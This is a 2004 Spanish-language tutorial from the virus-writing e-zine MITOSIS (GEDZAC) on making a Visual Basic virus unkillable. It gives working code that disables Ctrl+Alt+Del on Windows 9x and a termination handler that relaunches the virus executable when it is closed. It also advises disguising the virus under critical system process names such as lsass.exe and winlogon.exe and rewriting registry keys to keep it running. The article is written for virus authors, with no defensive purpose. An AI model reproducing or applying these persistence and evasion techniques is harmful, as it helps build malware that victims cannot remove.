(C) MITOSIS #2 E-Zine/GEDZAC 2004 Tema : Como Hacer que Nuestro Virus no se Pueda Finalizar Autor : Morusa Válido para : Microsoft Visual Basic 6.0 Bueno, Como ustedes saben y si no lo saben ahora sí, se puede hacer que un exe no se pueda finalizar de tal manera que el usuario infectado no pueda cerrarlo a menos que utilize una herramienta que lo haga exepto el Administrador de tareas (CTRL+ALT+SUPR o CTRL+ALT+ESC en Xp). Una forma es en W98,95,Me que es la de deshabilitar el CTRL+ALT +SUPR por medio de la famosa API: 'Modulo '****************************************************** Private Declare Function desactivarctrlaltsupr Lib "user32" Alias _ "SystemParametersInfoA" (ByVal uAction As Long, _ ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long Private Const SPI_SCREENSAVERRUNNING = 97& 'Procedimiento o Sub para llamar a la API Public Sub desactivar() Dim lngRet As Long Dim blnOld As Boolean lngRet = desactivarctrlaltsupr(SPI_SCREENSAVERRUNNING, _ True, blnOld, 0&) End Sub '******************************************************* Esta sería una forma de hacerlo pero el usuario puede activarlo de nuevo, a menos que en un timer lo mandemos desactivar varias veces pero esto sería demasiado fastidioso, pero en fin. Pero existe otra forma que funciona en todos lo Sistemas Operativos que es la clásica y que es muy usada. En el formulario existe un evento llamado Terminate que se ejecuta cuando la forma se cierra, entonces ahí podemos introducir un código - que llame a nuestra aplicación para que vuelva a surgir de nuevo, que es el de Shell, este nos sirve para ejecutar Aplicaciones en Windows Un ejemplo sería este: Dim fso Private Sub Form_Load() Set fso = CreateObject("scripting.filesystemobject") 'Aquí Cargo el objeto FSO End Sub Private Sub Form_Terminate() Shell fso.BuildPath(App.Path, App.EXEName & ".exe") 'Al terminar la aplicación ejecuto el virus de nuevo 'App.Path ------>Obtiene el path de nuestro exe 'App.EXEName --->Obtiene el nombre de nuestro exe sin la extensión 'fso.BuildPath ->Genera una dirección completa de acuerdo a los ' datos dados (Construir Dirección), ejemplo: ' fso.BuildPath("C:\","Mis documentos") dá como re- ' sultado -->"C:\Mis documentos" ' fso.BuildPath("C:\Windows","Mis documentos") dá ' como resultado -->"C:\Windows\Mis documentos" ' Observación ->Genera o no genera la diagonal, esto ' a lo igual pasa con los Archivos, si ' en lugar de escribir un directorio ' escribimos el nombre de un archivo ' este genera la dirección añadiendole ' la diagonal o no, según el caso End Sub Otra forma que funciona sería la de Windows Xp. Con estos nombres de procesos puedes esconder tu virus, por ejemplo que se requiera finalizar una tarea o quitar el virus de manera manual no se va a poder a menos de que quite la clave del regedit y reinicie pero para esto nadamas con escribir en el regedit cada minuto la clave, pues no lo detendría; la solución mas viable y fácil sería por el - afamado MS-DOS que es la de borrar el archivo (Ya sabiendo el nombre y dirección del EXE). Los procesos son: Winlogon.exe Lsass.exe Csrss.exe Smss.exe Services.exe A estas aplicaciones los puedes encontrar en: Msgbox Fso.GetSpecialFolder(1) Si tratas de finalizarlas en el Administrador De Tareas te mandará un mensaje que dice que es un proceso crítico y no se puede finalizar. Tu tienes la elección. Sólo Hazlo. ;-) By Morusa. México (C) MITOSIS #2 E-Zine/GEDZAC 2004